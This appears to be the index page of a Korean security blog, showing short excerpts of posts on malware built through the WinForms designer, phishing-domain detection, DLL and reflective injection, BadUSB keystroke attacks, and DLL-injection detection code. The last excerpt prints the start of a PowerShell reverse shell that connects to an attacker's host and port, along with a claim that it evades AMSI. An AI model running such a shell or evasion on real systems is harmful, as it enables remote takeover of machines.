분류 전체보기 53

Winforms 프로젝트를 활용한 악성코드 제작

최근 아는 지인 개발자를 통해 닷넷 Winforms에서 재밌는 코드 실행 방법이 있다고 전해 들었다 내용은 아래의 블로그와 같은데 단순히 Winforms으로 작성된 UI 디자이너를 Visual Studio에서 열었을 때 코드가 실행이 되게 구성을 할수 있다고 하는데https://chanos-dev.github.io/posts/visualstudio-designer/ Winforms 디자이너 보기를 했는데 코드가 실행된다?winforms designerchanos-dev.github.io 처음에는 이게 말이 안된다고 생각했다사용자 상호작용은 단순히 UI 디자이너를 여는 상호작용만 존재하고 그 외에 상호작용 없이 Visual Studio에서 코드가 실행이 된다는게 이해가 안되었다 블로그 내용이 워낙 상세히 ..

문자열 유사성 검사를 통한 피싱 도메인 탐지 (Jaro-Winkler Distance, Levenshtein Distance)

개요피싱 메일에서 보통 상위 공격자들은 메일 헤더의 spf 필드를 조작하는 방법도 사용하지만, 메이저한 도메인의 오타를 유발할 수 있는 혹은 비슷한 형태를 띄는 도메인을 직접 구매하여 사용하는 경우가 많음 (ex: origin == naver.com fake == naever.com)해당 메이저한 도메인과 비슷한 형태를 띄는 도메인들은 사용자의 착각을 유발할 수 있으며 피싱 메일뿐만 아니라, 사용자가 직접 url 입력창에 url 주소를 직접 쳐서 페이지를 접근하는 사용자들의 오타를 유발하여 피싱 페이지로 접근되게도 유발할 수 있음 알고리즘 종류처음에는 "단순하게 몇몇개의 문자열이 일치하면" 과 같이 단순하게 접근했지만, 정확성이 낮아질 것 같다는 생각이 들었고, 문자열의 유사성을 프로젝트 특성에 맞게 비..

Programming 2025.08.21

DLL vs Reflected Injection

개요DLL Injection과 Reflected Injection의 개념이 서로 비슷한 부분도 존재하고 명확하게 구분이 잘 안가는 부분이 존재하여 개인적으로 정리하고자 포스팅을 진행함 DLL Injection?디스크에 존재하는 DLL을 사용하여 타겟 프로세스에 Injection 후 Execution 시키는 공격으로 타겟 프로세스에 Handle 획득이 선행되며, 타겟 프로세스의 메모리 영역 생성 및 RWX 권한 할당을 할당하여 디스크에 저장된 DLL 경로를 기입 및 실행시키는 기법임타겟 프로세스의 Handle 획득 및 메모리 생성과 권한 할당에 있어서는 Reflected DLL Injection과 동일하지만 DLL 경로를 기입한다는 점에서 Reflected DLL Injection과 다르다고 볼수 있음 R..

[Hook] MinHook 빌드 및 사용 방법

Hooking을 쉽게 구현할수 있는 MinHook이라는 라이브러리가 존재하는데, 아래의 github 레포에서 다운받아 빌드하여 사용할 수 있음https://github.com/TsudaKageyu/minhook/releases/tag/v1.3.4 Release v1.3.4 · TsudaKageyu/minhookImproved error handling for enumerating and suspending threads. Visual Studio 2022 support. CMake support. Fixed compilation with Clang. Fixed compilation as C++ code.github.com 링크에 접근한 후 Release / v1.3.4의 Source code를 다운받음다..

ollama3.1 + mcp(5ire) + ghidra (외부 LLM API 사용이 제한되는 경우)

최근 ghidra도 mcp가 개발되면서 신기한 기능 및 편의성이 많이 생겼음 하지만 외부 LLM을 사용할 수 없는 기업 환경인 경우 해당 ghidra mcp 기능을 활용함에 있어 제약이 생기는데, 이를 로컬에 mcp tools를 지원하는 ollama를 구축하여 어느정도 해결할 수 있음 구축 과정ghidra 설치우선 ghidra를 다운받음https://github.com/NationalSecurityAgency/ghidra/releases Releases · NationalSecurityAgency/ghidraGhidra is a software reverse engineering (SRE) framework - NationalSecurityAgency/ghidragithub.com ghidra는 jdk2..

[arduino] Rubber Ducky? BadUSB?

아두이노와 같은 보드를 HID(Human Interface Device)로 인식시켜서 악성행위를 하는 매크로를 제작할 수 있음서버팜과 같은 곳은 키보드와 같은 HID 장치 연결이 기본적으로 제한되어 있어서, 물리적으로 접근 시 시도할 수 있는 공격 방법이 다양하지 않음이런 문제에 ESP32-S3를 활용한 BadUSB 키트가 도움이 될수 있다고 생각함뿐만 아니라, 별도의 파일 드롭 없이 키 매크로 만으로 여러 공격들을 시도해볼 수 있어서 사고 분석 시 초보 분석관들의 분석에 어려움을 유발시킬 수 있음 사용 보드ESP32-S3 보드를 사용하였으며, 알리에서 중국산 카피 제품을 만원대에서 구매 가능함 IDE 환경 구성Additional boards manager URLs에 https://raw.githubus..

Programming/c++ 2025.03.12

[c++] dll injection 탐지

#include #include #include #include #include #include #include #include #include #pragma comment(lib, "psapi.lib")// 제외할 경로 리스트 (이 경로에 있는 DLL은 탐지 대상에서 제외됨)std::vector excludedPaths = { //"C:\\Windows\\System32\\", //"C:\\Program Files\\Common Files\\"};// 특정 경로의 DLL을 제외하는 필터 함수bool isExcludedDll(const std::string& dllPath) { return std::any_of(excludedPaths.begin(), excludedPaths.end(),..

Programming/c++ 2025.03.08

[tool] Powershell Reverse Shell

reverse_shell.ps1fileless로도 사용가능함(powershell에 동작되게 하면 AMSI 탐지 없이 실행 가능함)$LHOST = "0.0.0.0" # 공격자의 IP$LPORT = 4444 # 공격자가 리스닝할 포트$client = New-Object System.Net.Sockets.TCPClient($LHOST, $LPORT)$stream = $client.GetStream()$writer = New-Object System.IO.StreamWriter($stream)$reader = New-Object System.IO.StreamReader($stream)$writer.AutoFlush = $true$sendBytes = [System.Text.Encod..